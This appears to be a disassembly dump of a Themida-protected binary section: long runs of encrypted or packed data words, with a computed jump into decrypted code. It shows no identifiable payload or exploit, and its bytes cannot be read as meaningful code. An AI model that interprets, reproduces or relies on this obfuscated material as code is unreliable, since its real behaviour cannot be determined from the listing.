		dd 458234A9h, 611576C5h, 7D57A4A6h, 97B36C1Ch, 0DEC88132h
		dd 0A5131397h, 5237D386h, 0A3CC9F21h, 7A46DFA0h, 753CDE91h
		dd 536612DCh, 344748EAh, 63B8BE45h, 3DEBDE1Ah, 318D70C4h
		dd 7A033460h, 6E4776CFh, 242h, 8135A81Eh, 0AFFA0A46h, 65C54307h
		dd 3FC8CE1h, 0C7D83407h, 3CFC900Bh, 3C519982h, 42C9518Eh
		dd 593C416h, 3A496628h,	3962C83Eh, 4387F2E5h, 0E367E388h
		dd 19AAFD8Eh, 1ED13A20h, 0D6302832h, 8F894714h,	1B004962h
		dd 0D50EBADFh, 68BAC165h, 5A93A953h, 2557428Eh,	98F4BEEAh
		dd 92D0350h, 0AD657h, 6FF8A00h,	8E497154h, 12D5F9DCh, 97506558h
		dd 1DDEEE23h, 149042ADh, 9EF3A760h, 197C2EEFh, 8EC3B770h
		dd 0BA4901FAh, 26426B30h, 7E1B3BF6h, 0BD23A828h, 0C7647015h
		dd 0DCEACF09h, 6D6DE763h, 0B0DB5F9Bh, 0A157275Ah, 6FB09C5Bh
		dd 3CF6C155h, 47DB1F0Ch, 616F98C3h, 55463BF6h, 0AE6F1E7Bh
		dd 6CF8FF8Ch, 0E7FC3E33h, 69A316D1h, 0D009BC91h, 46C0B84Ah
		dd 0CBFBB7E4h, 0E9923212h, 0A0992C41h, 50E097EAh, 0D4CEE20Bh
		dd 0F4A7BB46h, 46D4CECBh, 5306F9A2h, 0EDA6D2B7h, 0AA1FF308h
		dd 76B265D6h, 9EA5A9Ah,	2CC96F83h, 2400000Ah, 0ABEE5C95h
		dd 137624E3h, 9FF2A86Fh, 187D2DEAh, 0A8C7B374h,	0FD3E4E3Ah
		dd 4485C80Dh, 0CD0AB396h, 5790381Dh, 0C1EA60E3h, 3BF62598h
		dd 0A77AB06Dh, 0E30C5FD3h, 0BA46DFAAh, 73A487D1h, 4746DFABh
		dd 47E99EF3h, 0DFAAEB14h, 66D9C246h, 544F132Ah,	4B1EA1C4h
		dd 0C612C502h, 285C3C3Ch, 5B3E3CEFh, 6368F235h,	0E2C96BD6h
		dd 8ECABDF0h, 0D965214Ah, 53383CFBh, 7C0F297h, 6FD99153h
		dd 9508A0CBh, 0ACDF3217h, 7EE1C80Ch, 0FC7E31DCh, 1C4FF399h
		dd 46D8F2F3h, 0BC6E21CAh, 7AB5C5B8h, 56913B1Eh,	0E626AC6Ah
		dd 0EF81A509h, 97Fh, 3BEF2853h,	8377B0C6h, 0FFB3C4Eh, 8A40B9CAh
		dd 14C601B7h, 0CBFDE71Bh, 50675A10h, 0D9EE2397h, 2557AA60h
		dd 471330EAh, 0F623EB14h, 0D7D7C23Bh, 0DFAB527Fh, 1490FB46h
		dd 4E44D979h, 85B6DF8Ch, 9C8F46DFh, 0FE8AEF29h,	0DB9F5505h
		dd 0A013D4FBh, 0B87ED19Ah, 0F2173CFCh, 965407C0h, 5D0DCAF3h
		dd 1BD4E499h, 34ED9AFFh, 95221741h, 0C18BE5Ch, 58000009h
		dd 406E97C4h, 23473BFCh, 0FC404F78h, 8275263Bh,	0A2A65656h
		dd 8E0286A4h, 0AB38610Ah, 1E0D46DFh, 0DFAAE20Bh, 2D19C46h
		dd 2B6076D4h, 0BFE02CDFh, 3CFC5E7Fh, 0F01942C6h, 0C53BFC5Bh
		dd 0FDAEFAD6h, 0B5100E7Dh, 51A3DED9h, 941E9D1Eh, 0B6E22A2Fh
		dd 81EC1982h, 0CAF03BFCh, 0E2A80D0Dh, 0D76C2525h, 81BE6D0Bh
		dd 0F9720BDDh, 5E764D95h, 26000001h, 43C70049h,	0C2E95F6Eh
		dd 46DFAB99h, 55F13F6Ch, 0E760A23Ch, 0E4D94134h, 9AFF1BD4h
		dd 0EF1843EDh, 0C646DF5Eh, 6C3F4D5h, 0E6443704h, 0D13BFC83h
		dd 0AA671469h, 7C69FB80h, 0B594F05Ch, 3935BF5Bh, 474813D7h
		dd 1E46DEBBh, 15D2E79Ah, 0DEBAD902h, 0E388AC46h, 46DEBABAh
		dd 0DB35E893h, 5B3EDCCFh, 7568F235h, 0AC6F1140h, 0FB5051F9h
		dd 2AE59777h, 0F68DB20h, 0A3D2B70Bh, 0BAEE176Ah, 0D4C746DEh
		dd 1E14DF8h, 0F6CBBF78h, 990208C1h, 46DEBBD4h, 23C36FA4h
		dd 58812A9Ah, 2D46DEBBh, 15DF8B7Eh, 0FF73F759h,	2AB0078Ch
		dd 0E5DC277h, 46DF08E5h, 3460D3B8h, 0DF08C2F3h,	5AC0AB46h
		dd 23975067h, 9F586A0Fh, 0F83144B5h, 924D7F52h,	5E003988h
		dd 7AC0394Ch, 5FB97607h, 26E796EBh, 5CAAAE24h, 2609CD9Eh
		dd 1843CFCh, 1DCD807Bh,	0B6549538h, 6CCE403Ch, 9C2F5E8h
		dd 24A7DCCFh, 25563BFCh, 24220FCFh, 0B63A6D7Dh,	60966B82h
		dd 0EB3F19h, 30B28B1Ah,	0CC6EAFDEh, 40FA2348h, 28D33BFCh
		dd 96391CECh, 0DC7EB9C3h, 0DA9EBC6Fh, 33D710A7h, 103962C8h
		dd 0E53BFC41h, 5810DA36h, 67294CEEh, 7B55A6A4h,	3094ACFFh
		dd 0A04B3219h, 27E097EAh, 9C5D6E03h, 0C7438D7Eh, 4E3CF582h
		dd 0A4A2A63Eh, 0BE19D586h, 87743CFCh, 28982E83h, 0FC7C5A83h
		dd 9548333Bh, 0DE8D0125h, 3BFC7BB5h, 75A9E388h,	0B9A1A9A6h
		dd 0DFAAC5F2h, 581A3B46h, 76D0F770h, 39FD47h, 49A90000h
		dd 5744C601h, 46DFAB2Eh, 0C4468736h, 0FB1FD8E1h, 56228CB9h
		dd 0AC7EE059h, 7219211Eh, 3D4B9D26h, 24A4F000h,	0E15A6D00h
		dd 65469279h, 46DF0BFCh, 0FFB256F6h, 0A846FFFFh, 0AB5E87D4h
		dd 443746DFh, 0A09B2108h, 91F4884Eh, 0E50E5DEDh, 0B846DFAAh
		dd 0F03460D3h, 99A1A9A6h, 0F721BAF2h, 0F5DFE26Ch, 8FD0D8B1h
		dd 4476DCE6h, 5AEAh, 76CA4E00h,	0DFAAFC25h, 0D72AD143h
		dd 43DFAAAEh, 43C700B6h, 0DD8EA2F8h, 43DFAAB4h,	0E52FE289h
		dd 0A1A9A6C1h, 0DA03A84Dh, 0B346DFAAh, 35A8B6C8h, 7BC04A85h
		dd 64B0691Eh, 149C494h,	7D0164C6h, 0E0B147BAh, 5426D1ECh
		dd 0F2862478h, 0CBB01489h, 65AF2DFCh, 318A41h, 0A6220000h
		dd 0A84DA1A9h, 0B36BA7D4h, 19184086h, 0BDC3EC3Fh, 42B746DEh
		dd 9B5C6130h, 31D98C7Fh, 0BDC5EEBDh, 0F39846DEh, 0A8394D00h
		dd 0C6014900h, 0A82686B0h, 645BBF23h, 54A79A57h, 0AC8DC7ACh
		dd 0B93DDD1Ah, 74D7625h, 7B2046DFh, 6D79B008h, 0CF09AC66h
		dd 0DF83B3DCh, 34BE9746h, 0B367A0D2h, 0DF742E68h, 0E8215446h
		dd 0EAB13535h, 46DF73C1h, 8FADE794h, 0FFFFF393h, 8335A81Fh
		dd 0BC6FA8DEh, 7663AD9Eh, 11D38740h, 98537959h,	42C80FB3h
		dd 572406F9h, 6EB5C47Ah, 63F7211Fh, 0FBD4E438h,	90265B3Ch
		dd 0C48B357h, 0C0EB6F1Ch, 3BFBD593h, 998A54C9h,	2619D6E4h
		dd 759A5307h, 4FE02CA7h, 4D9549B6h, 19BAh, 26BA3E00h, 0FC064C75h
		dd 277A213Bh, 3BFC05FEh, 0B4E824D7h, 18Ah, 0A2A62200h
		dd 0CF4B8432h, 0B063DCEAh, 92F97DFDh, 0CEAA4287h, 3669A32Fh
		dd 3CFC8562h, 0E0839E0Dh, 43A6D86h, 5035C951h, 914E7C2Fh
		dd 85CF3CDEh, 0D5EE694h
		dd 3BFC1BE4h, 0EA9FD2B9h, 0C55625D3h, 57A416C9h, 3BFC0F64h
		dd 2812CFFCh, 0ECBF03B5h, 3BFC0EC3h, 0DD3EF19Ah, 65D674AFh
		dd 4D7A5F2Bh, 76C67694h, 9E70F203h, 0EB1447E9h,	0C23BFC0Eh
		dd 0B0B466D9h, 569213CBh, 7D57F7E2h, 0B7B36C1Ch, 0AD5978C4h
		dd 0F0231F4Ch, 0E597BB9Ah, 9E7C58D8h, 76D611BBh, 0A1A96E13h
		dd 0DB7FB8CCh, 87F17DCAh, 0D638BA5Bh, 97C769A2h, 0F6DCF68Fh
		dd 115FA47h, 0A6AA0000h, 0A84EA0A6h, 0F4DDA7D4h, 7BEDB6D0h
		dd 0C4222908h, 0CB05A550h, 0DF2BACD8h, 0DF8CAE46h, 46DF2BB6h
		dd 1299C8Fh, 0BF3A427Ah, 45E5E3AAh, 0DEC1ED16h,	0F1DBC046h
		dd 8135A8ADh, 1D77C446h, 0F7958DDDh, 0BF034912h, 0DFAAC3ECh
		dd 0D5869A46h, 46DFAAACh, 74279A81h, 0A8208822h, 0AB5E87D4h
		dd 443746DFh, 0AB8CB5E6h, 0BA6146DFh, 0E1DB945Eh, 0DFE1CDFh
		dd 0D0D8445Ah, 76DCE68Fh, 4AEA44h, 0CA4E0000h, 0D124E397h
		dd 43DFABA8h, 62428E7Dh, 4DA1A9A6h, 0EB0223A8h,	69183695h
		dd 2F62748Fh, 98F494B9h, 0B0E20B50h, 0D0BB46DEh, 4900A8BEh
		dd 86B0C601h, 87D4A826h, 46DFAB5Eh, 0CCFBC437h,	0C538AC2Eh
		dd 4610C612h, 84000000h, 4DA1A9A6h, 0AADA03A8h,	2B9E46DFh
		dd 0A800A8DBh, 0C04A8535h, 5961087Bh, 0A4DFE1BCh, 0BE790168h
		dd 87D4A868h, 46DFAB5Eh, 0B5E64437h, 46DFAB8Ch,	0B45EBA61h
		dd 0B3535724h, 0FF95AA4Eh, 0A99C72D1h, 1642CB2Fh, 0FEE28A16h
		dd 4922FFFFh, 0F62C803h, 0B398827Dh, 583DB159h,	0B2A7F136h
		dd 0D71DCD06h, 66353513h, 3CFCC812h, 4582C8ADh,	790376C5h
		dd 9AAC6Dh, 0B665458Fh,	6DAED1B4h, 194269EDh, 0EC3BFC4Fh
		dd 0E8004C3Fh, 4F1C9014h, 3BFC4F26h, 0D0F90CFFh, 0A53BFC4Eh
		dd 5C899AF6h, 923BFC4Fh, 4CC0C16Dh, 0FC4EF61Fh,	1EDCCF3Bh
		dd 0FC4F244Dh, 0C612F93Bh, 95886815h, 20604Dh, 0A60C0000h
		dd 0D586A4A2h, 3CFC9425h, 0B4E76308h, 3BFC9287h, 0B29658C5h
		dd 4D95C935h, 0C93Fh, 3496F00h,	596F42C8h, 4E5A5B1Eh, 5003C66Eh
		dd 0EAA5D7CAh, 2197EA9Ah, 21299C24h, 17C33C4Ch,	0DF279304h
		dd 4681CB46h, 0FB7697E4h, 0DC03C5A9h, 9ED1CE5Ch, 0F622AC6Fh
		dd 15BBDE12h, 89C348D2h, 3BDF18A0h, 9357B1A9h, 0FC36A4C8h
		dd 2AD0BB3Ch, 373C4761h, 9685A5EFh, 0FC4A0E24h,	0C01C2D7Eh
		dd 0AF13217h, 0C13A4D20h, 52A6F259h, 78CE893Fh,	0D817A759h
		dd 60FC89E5h, 0F498FDADh, 470DC933h, 0F01409E6h, 27E5Eh
		dd 0EE275200h, 76B1D93Ch, 0FA3D4184h, 7FB8CD00h, 0C506B68Bh
		dd 0FCE81A15h, 665B0FC8h, 0E1249657h, 56AB1FD8h, 1231E922h
		dd 1CEA1358h, 0D6C33BF6h, 0C40749D0h, 0D8893316h, 68D377B0h
		dd 0E75A9D23h, 0A2A6EB33h, 6F0286A4h, 907B9F58h, 8AC6014Bh
		dd 0FC94E999h, 1BDFCC3Ch, 0F1D9BC70h, 0B5E61D1Eh, 3BFC738Ch
		dd 8DC7BA61h, 73113E6Dh, 0AADD3BFCh, 0C1F4E971h, 8A830208h
		dd 64995028h, 0E851EEFAh, 0B65B4D95h, 4B000000h, 42C80349h
		dd 4A1E596Fh, 69617FC9h, 0CAD1792Ch, 46DF3D59h,	84047F0Dh
		dd 4B975983h, 6813D78Ah, 0BB4B8656h, 0A6226E88h, 7C9E5963h
		dd 0D614F2F6h, 0FCB46185h, 8B7F2C3Ch, 47803257h, 6F1378C3h
		dd 0E6E26CA8h, 36C9FBE0h, 1FD2B19Fh, 952247DBh,	8F42BBCAh
		dd 3E726245h, 0D6C53218h, 8A4D7114h, 9951BB80h,	9D5A6005h
		dd 0F53646B3h, 7BBCC005h, 0E637BB01h, 1CB25609h, 17Bh
		dd 3FEB2457h, 8773ACDAh, 3F73042h, 8E7CBDCEh, 8C2054Bh
		dd 0CFF1EB1Fh, 547B5E0Ch, 0D5E22793h, 216BAE1Ch, 5B1F34E6h
		dd 0F61BE710h, 0CBC3BE3Bh, 16C40749h, 9C4E8933h, 0C803498Ch
		dd 0A3EB8E42h, 0FD83E664h, 782B103Ah, 548F3D1Ch, 0BA8C4CE6h
		dd 73ACDDB0h, 0CE8AD119h, 0C13CFCA1h, 4F7D10DAh, 0D9E32694h
		dd 38AFDC1Eh, 0AC52F354h, 0A52FCB05h, 0EF4E23A5h, 0E5DC0556h
		dd 0CAB13BFBh, 1B63A097h, 429DAF28h, 2FE2FD2Fh,	0A2C5400Bh
		dd 62744F08h, 2AAE2236h, 0FC5D5881h, 0B36C1C3Bh, 4758B467h
		dd 3213AB15h, 0D5D50FFCh, 4C09E9AAh, 0C9F6A8h, 0F2990000h
		dd 7E0C4139h, 0C2F4C981h, 4F705505h, 0CBFDD08Ah, 9D4D5A10h
		dd 0E05A9D23h, 69211AADh, 0F0AA6714h, 4634EF9Dh, 355E0DCDh
		dd 83BF61Ch, 0A2A61D6Dh, 6F0286A4h, 0F5C9E59h, 46DFAAE6h
		dd 9F80CCBFh, 3CF6F969h, 0DABF5B40h, 0CAD8F5AEh, 3FB4060Fh
		dd 289B4E89h, 0B26D1F72h, 0FC3503A8h, 0D46DC284h, 97D0F80Ah
		dd 4F6B5030h, 0C801B404h, 51D72215h, 0BDA184DAh, 89EC60CAh
		dd 0CBF407C0h, 0A2D343FFh, 0D62B9FF9h, 244D1EA2h, 0F9D34400h
		dd 5A832812h, 33D34400h, 10759548h, 0E1A0AA6Fh,	54648628h
		dd 0CE817A0Dh, 8843096Ch, 0F399FC4Ch, 147C1238h, 28000000h
		dd 58A623A8h, 0EB7F3479h, 55F31C4Fh, 21CA46DFh,	491B03F7h
		dd 6C41C902h, 267E35Ch,	3B9EBC75h, 0D2B75394h, 8CE169A2h
		dd 0A61B3FF8h, 5336D415h, 0F62E82Fh, 0B99A807Fh, 81E68956h
		dd 4C6h, 4EE8300h, 8B243487h, 89572424h, 4C781E7h, 83000000h
		dd 3C8704EFh, 4895C24h,	72726824h, 3C890000h, 74336824h
		dd 48B0AE9h, 4C48324h, 4EC81h, 24890000h, 24048124h, 4
		dd 7F5F685Fh, 4890000h,	8478F24h, 52243C8Bh, 0C281E289h
		dd 4, 8704C283h, 0FF5C2414h, 83582434h,	86E904C4h, 0C1FFF9EEh
		dd 0AE54A47Bh, 0E990BEB8h, 50C5030Ah, 1CF185C6h, 68470AE3h
		dd 0CF381725h, 3145B5FFh, 858D0AE3h, 0AE33AF9h,	0D88BD0FFh
		dd 0AF1858Dh, 68500AE3h, 104h, 85C6D3FFh, 0AE31CF1h, 0F8BF6853h
		dd 0B5FF8307h, 0AE33145h, 3AF9858Dh, 0D0FF0AE3h, 720F8589h
		dd 0BD830AE9h, 0AE3218Dh, 0B840F00h, 8B000000h,	0E315959Dh
		dd 5E90Ah, 0BB0000h, 68000000h,	100h, 7213B58Dh, 53560AE9h
		dd 257195FFh, 0B58D0AE3h, 0AE97213h, 1E9F003h, 4E000000h
		dd 0F5C3E80h, 984h, 2F3E8000h, 0FFED850Fh, 6C6FFFFh, 13858D00h
		dd 500AE972h, 720F95FFh, 0FF580AE9h, 0CFFF7CE0h, 2FC5E82Bh
		dd 36689967h, 3F41256Fh, 0EDA72F55h, 32294F04h,	163BFD0Eh
		dd 8E796948h, 4D21F549h, 14E86Bh, 0C9810000h, 14745DEEh
		dd 30996D47h, 28F55897h, 0AC05D86Eh, 5BF9955Bh,	81F78B66h
		dd 69FDC3h, 41B86600h, 6830h, 0BE90000h, 15000000h, 2C6585B0h
		dd 0A4489668h, 535FF5C3h, 8B58F18Bh, 830F3B14h,	3, 81C2B70Fh
		dd 33410EAh, 7E810h, 12110000h,	0A5DD8EA2h, 28B0FDDh, 0B5000000h
		dd 0EA81587Fh, 7F7A325Bh, 0BFC15AB9h, 9F2810Ch,	0E914FB63h
		dd 13h,	0C1D975C2h, 0B500C90Bh,	0A26B41F8h, 0CE3D1FADh
		dd 89B9903Eh, 11E93B14h, 6D000000h, 903C0F10h, 3451D5F7h
		dd 1E157C11h, 0CAFEA2A2h, 9ED5EF81h, 25B149BCh,	9ED1C781h
		dd 81FC49BCh, 0FF96C0FFh, 7C850FFFh, 8DFFFFFFh,	0E993B28Dh
		dd 55006A0Ah, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 2D9529A5h, 890AE314h, 0E314798Dh, 50006A0Ah
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0D629C4F1h, 66600F47h, 601534B8h, 0FCC18166h, 6D8D8914h
		dd 610AE323h, 0C985C761h, 800AE306h, 6A000072h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 12DC356h, 0E0AD7D5Dh, 0C733BCDFh, 0E3006985h, 0Ah
		dd 1852900h, 0FF0AE31Ch, 0E31161B5h, 56006A0Ah,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 5959BBC8h
		dd 95FF5F02h, 0AE326B5h, 25E9BD89h, 8B660AE3h, 0FF006AC7h
		dd 0E31CD195h, 0EBC08B0Ah, 0DE2F0E1Dh, 41919141h, 8E9C4042h
		dd 0A31F73F7h, 712503FAh, 33ACFDF8h, 0A4D7FD45h, 15E97AB0h
		dd 0B1000000h, 3AABDDh,	4 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5EBE0B
; ---------------------------------------------------------------------------
		db 0BAh, 0Fh, 0D6h
		dd 5E992164h, 22E5A9ECh, 0A7601568h, 2DEE9EF3h,	0C4C0327Dh
		dd 4E8377B0h, 0C90CFE3Fh, 0BE934780h, 0EA19D10Ah, 18123B60h
		dd 0EEB3BF6h, 0C407492Ch, 3499488h, 596F42C8h, 98824708h
		dd 370AC0B3h, 8DE04A85h, 340703FCh, 2F5D30D8h, 4B7356F4h
		dd 0E2238E8Ch, 9B2A4F40h, 790376A2h, 0C089CCBEh, 0EC9F5307h
		dd 2FAC0579h, 0AD77C2C3h, 34927DBAh, 95221741h,	4257802Bh
		dd 0F20946DFh, 7D4B2DEFh, 6CDFCCDEh, 3C48BEEh, 0D811A207h
		dd 0EC2B5F32h, 44EE276Eh, 0E042FB34h, 0CA80790Eh, 0AC5F7h
		dd 0DF576F9Bh, 12DC0946h, 76848936h, 518347h, 49F30000h
		dd 0ED2E5E03h, 2F2B9E6Dh, 0DFAB4D7Ch, 70F26B46h, 76D0AF58h
		dd 1A547h, 49D10000h, 6144C601h, 197C9E59h, 0D2B7B374h
		dd 1CEF6BA4h, 94AD1830h, 559238CAh, 0BCCF095h, 740479C1h
		dd 0E3CCBFBBh, 0EBFA06D4h, 0AEC8C32Fh, 0AB07F87Bh, 49919961h
		dd 8246C407h, 0AB345D0Eh, 620946DFh, 7CBBC336h,	15D2FBDEh
		dd 0AAEF90F5h, 4DE25A0Fh, 911C481h, 0A2D69881h,	0EFE042E3h
		dd 2477F98Ah, 46DEF6FBh, 1A7629D2h, 9C4E893Fh, 59922558h
		dd 2B0E4AB1h, 0C1A4A661h, 6FD07ABDh, 0B35C6CF6h, 0D9477662h
		dd 7Ch,	0C40749C5h, 985F6346h, 74FE1772h, 9BFE292h, 6AAF1BCEh
		dd 479E15Ah, 0C4A53673h, 2BE9E61Ch, 5D90C69Dh, 4E01F50Eh
		dd 65A6E9CCh, 113A61E5h, 0E446DECDh, 6DA6D237h,	71FD12EDh
		dd 3AF5007h, 76088825h,	578047h, 45380000h, 9F586F32h
		dd 0F3DD2E2Ch, 0C40749B3h, 0B5A6346h, 0B3988245h, 71077AC0h
		dd 0E4BE5AB6h, 0AD6E1174h, 0E608AA63h, 81A515D6h, 0C7F6D9ECh
		dd 25795306h, 64C60149h, 892B9617h, 0D602B56Fh,	86CBAE22h
		dd 0E8141741h, 8046DF20h, 30CD9B47h, 3847765Ah,	1, 0C2054964h
		dd 0D9E18458h, 0C50FFC1Eh, 0EF6BA4D4h, 25C569A6h, 40E45691h
		dd 1085DD3Bh, 331DC150h, 3E413129h, 7B200AFDh, 3CFBD1B7h
		dd 0BFA3A5D6h, 952BDC76h, 52651822h, 0F07FB119h, 2396741Bh
		dd 5C6C41E9h, 0A6D237E3h, 8FBEED6Dh, 603BFC5Eh,	0A10774C8h
		dd 0DADB7C80h, 0BB527B8Eh, 402B3BFBh, 9575F914h, 1B7E2CE7h
		dd 3194B671h, 0B5ECD08Bh, 0A07CA5F6h, 0AA513BFCh, 0C274FA77h
		dd 0FC4B7099h, 0E356453Bh, 36D415A6h, 0F0812C5h, 0EBA4C16h
		dd 0BFBC0855h, 0D88BDEC0h, 0A4CD9E12h, 793BFBF5h, 6EC24692h
		dd 4A86410Bh, 95661CA9h, 142144Dh, 0A6800000h, 0D586A4A2h
		dd 3CFCA815h, 12779378h, 79FDAD66h, 0A68DB6E5h,	0BB603BFCh
		dd 97507851h, 0C66A1E73h, 0FCA66C95h, 0ED45663Bh, 91479C5Ch
		dd 0AD261279h, 1E36ECBh, 807F9B4Eh, 9923C36Fh, 0D66FEC5Eh
		dd 0DA4D9569h, 4Ah, 0A3A7A6CAh,	5D6E0387h, 438D7E9Ch, 0E16E9760h
		dd 365B3ECFh, 0E83A7F1h, 0AE9DBD7Eh, 234C5FFBh,	0DEC6DFACh
		dd 0D78ABB27h, 232D67A0h, 5F0EB02Ch, 1F3BEE29h,	36D40DBAh
		dd 9B5F12C5h, 0E17007D0h, 3DED9E4Fh, 0AF1Bh, 0A2A69300h
		dd 85D586A4h, 0E83CFC92h, 30422703h, 187D9DF7h,	8EC3B770h
		dd 523901FAh, 0D93807F9h, 90B8949Bh, 0FC32490Bh, 0B72A4E3Bh
		dd 768FC906h, 0B56E1AECh, 69AED0B5h, 4A3E1AE1h,	0C466E098h
		dd 13A1B397h, 0D5869A32h, 46D4C0ACh, 0B509A81h,	46D4C0E2h
		dd 0FD1DD0BBh, 58E71279h, 887EE90Ah, 93FD3A43h,	11D912A6h
		dd 57A5CE9Dh, 937846D5h, 3B1091B9h, 46C0B8B7h, 123B60E4h
		dd 0EB46D557h, 8004D400h, 0BAE3880Ch, 9346D556h, 576C95E8h
		dd 726646D5h, 5DDBA7BDh, 7D574456h, 0ECE3462Ah,	0C7F4093Ch
		dd 527B200Ah, 2B3BFC07h, 0CDDD8D40h, 2CAE23A8h,	3DB07241h
		dd 805109D3h, 0DF21B2DBh, 0D50EBA46h, 0C7B4C635h, 952D614h
		dd 46DF21E0h, 4E8AC6B5h, 0F691391Dh, 0E367143Ch, 4901FA8Eh
		dd 81B4E695h, 43AF52EDh, 0C10BFE39h, 0E367A0E8h, 0B461AAB8h
		dd 8A4F700Bh, 0A49F2D80h, 0A80ACBA6h, 0E04283D0h, 0C9817A0Eh
		dd 0F0BC4F4h, 3A2019AAh, 53F73047h, 89914A7Eh, 22561801h
		dd 10F27CD5h, 67FBAF68h, 1AFA2714h, 5DB728FAh, 77934C7Ch
		dd 0CD1h, 34C8C500h, 5F8E0C47h,	9FF9E8B6h, 0C902498Fh
		dd 0E35C6C41h, 0BC750267h, 53943B9Eh, 69A2D2B7h, 3FF88CE1h
		dd 0D415A61Bh, 0E82F5336h, 807F0F62h, 0EC81B99Ah, 4, 89241489h
		dd 4C281E2h, 83000000h,	148704EAh, 0F6685C24h, 89000017h
		dd 8953240Ch, 4C381E3h,	81000000h, 4EBh, 241C8700h, 243C895Ch
		dd 7C21BF57h, 0F4B96F32h, 29BCE4FBh, 0E9815FF9h, 3E810828h
		dd 0B7E98149h, 540447E3h, 83243C8Bh, 0EC8104C4h, 4, 8F240C89h
		dd 34FF0847h, 0C4815F24h, 4, 592434FFh,	4C481h,	0A2E90000h
		dd 2AFFF9E6h
		db 0DDh, 29h, 0FDh
; ---------------------------------------------------------------------------


loc_5EBE0B:				; CODE XREF: Themida_:005EB8E0j
		mov	eax, 0AE99898h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 299E59Bh, 565B351Fh,	246F2D1Bh, 349EDB71h, 2AB17A96h
		dd 7C004C77h, 6674043Ah, 77037ED9h, 4BD65C78h, 20E28223h
		dd 45512DEFh, 403DC563h, 7799AF2Dh, 7D9CA404h, 2CA4D510h
		dd 5709751Ch, 39FF020Fh, 6D88E88h, 665CBE6Fh, 50BDA781h
		dd 51274559h, 15271FBBh, 1F6E6FE5h, 7DEB3BF3h, 6F2E695Bh
		dd 3A6EA8C2h, 18428FB0h, 7BA56128h, 49E9h, 9752B200h, 1D8C930Bh
		dd 81E89DE6h, 64746E2Eh, 642E6C6Ch, 67006C6Ch, 3B2BD14h
		dd 0FEB980h, 0Ah dup(0)
		dd 0DBE90000h, 68000006h, 0AE99B74h, 0F9E5C8E9h, 9C1C68FFh
		dd 0BEE90AE9h, 68FFF9E5h, 0AE99C9Eh, 0F9E5B4E9h, 9D7468FFh
		dd 0AAE90AE9h, 68FFF9E5h, 0AE99E42h, 0F9E5A0E9h, 9F5068FFh
		dd 96E90AE9h, 68FFF9E5h, 0DF32E821h, 47BA70AFh,	0C306F433h
		dd 4C8179BEh, 1C0BFF38h, 9C2F2EEh, 90497C51h, 19D6E7DAh
		dd 0E35C6CA1h, 0D5E1C37h, 3BF610E4h, 0A8CEDCB9h, 0C4468135h
		dd 0A91CDFE1h, 38C96Fh,	0A8DD0000h, 29ACF623h, 0B7E1A68Eh
		dd 5DFD3642h, 8ED1E499h, 2D1E3CFDh, 216BD07Ah, 934780C8h
		dd 0DF2F5B88h, 0F599E246h, 76C62C4Bh, 0D10E5E2Bh, 0C75859Eh
		dd 67A0E9C0h, 0A2A66BB3h, 45D586A4h, 0F83CFC96h, 940E3764h
		dd 34E73BFCh, 0B75878C1h, 0C20E6C53h, 861535E6h, 3BFC4A59h
		dd 93B77005h, 9AD0893Eh, 7A36D7E6h, 2794B669h, 85B10F7Eh
		dd 83BAEC50h, 40E259DFh, 6855A53Bh, 5BB534F8h, 9F2800A2h
		dd 954D9570h, 215h, 8235A801h, 1E7AC149h, 4E0AC2EEh, 6D2972F8h
		dd 203CFC8Fh, 8F365F0Ch, 6B0F3BFCh, 0FC8F1740h,	4A3DEE3Bh
		dd 0C7BA7D01h, 2A763265h, 65F97FCFh, 11F00D36h,	1DADE078h
		dd 0DB256F22h, 510EBF1Fh, 0B001AEEEh, 590CFF15h, 0D2991D91h
		dd 78127CA9h, 45E0F7Ch,	5EA31391h, 0EE7EA1EBh, 816E2EFEh
		dd 0F6F2709Ah, 0C3812A10h, 0DA78CBB0h, 3E420931h, 123B7372h
		dd 3356A2EEh, 0B99C4E89h, 0D8ECD813h, 0C9D8A83Bh, 4A77315h
		dd 8E3D0000h, 1AA0E555h, 66286DDDh, 0E394E9A1h,	6F117426h
		dd 41B1FEACh, 4F63147h,	8D7DBEC1h, 14C60348h, 9A508B31h
		dd 91BAE169h, 643BF610h, 34971B9h, 0AAC3ECBFh, 0F19A46DFh
		dd 92561C3Eh, 0AED3B6B4h, 802B2F69h, 3CFCCA2Ch,	0FF925843h
		dd 46C20EC9h, 96529AD6h, 25E18AB0h, 7832196Ch, 58FE5193h
		dd 0E9AF42F5h, 88D317F1h, 0A45F10F8h, 6A2B3C4Fh, 1901C688h
		dd 9190FF32h, 4229715Bh, 0F84E0AD8h, 146B2972h,	7922AA7Ch
		dd 33EC9CF1h, 3D760247h, 0C2DB4714h, 760445CEh,	0E09AC6B9h
		dd 0D1A27889h, 3FF9B3Dh, 26550000h, 0B2D83DEDh,	3E408575h
		dd 0BBCC01F9h, 7498C7Eh, 0E91916C4h, 5C0EC9FFh,	25955679h
		dd 0AC1EDBE0h, 32E82369h, 0E9125911h, 0BC3BF60Eh, 35A8C9C1h
		dd 2F0A4681h, 2AB8A29Dh, 4912D82Eh, 3CFCA9B1h, 61C3B764h
		dd 82450969h, 13976BCFh, 0FCA91F48h, 0CB05F63Bh, 14124AD8h
		dd 0F07A2132h, 0B374197Ch, 8F487059h, 19D2E6DBh, 917773F1h
		dd 295E02A9h, 4A313CF2h, 0C9754A1Eh, 9AF4314h, 37Dh, 0BF6BA4D7h
		dd 7F32C5Ah, 8377B0C2h,	0EFC3D4Eh, 884285CBh, 4F716B9Fh
		dd 0D4FBDE8Ch, 5562A713h, 0A1EB2E9Ch, 0DB9FB466h, 0F60F6790h
		dd 4B433E3Bh, 0CD480349h, 8647766Ah, 3544B784h,	1535E8D4h
		dd 8DAD9B5Fh, 0FC134ADEh, 0F476253Ch, 0E12BEC91h, 1C8E719h
		dd 0EF630000h, 0FC2793BCh, 57816A3Bh, 856D9C57h, 0D3C7C3C5h
		dd 295BEEDh, 836846DFh,	0F5A03850h, 0F7A43802h,	46DF22CEh
		dd 5098F4A7h, 0FC074F0Bh, 0D2FB9E3Ch, 0CA06F515h, 680D2DDEh
		dd 0A9ABE522h, 0C0E189F6h, 0C83E3A4Eh, 5B1D3962h, 7CF03D1Dh
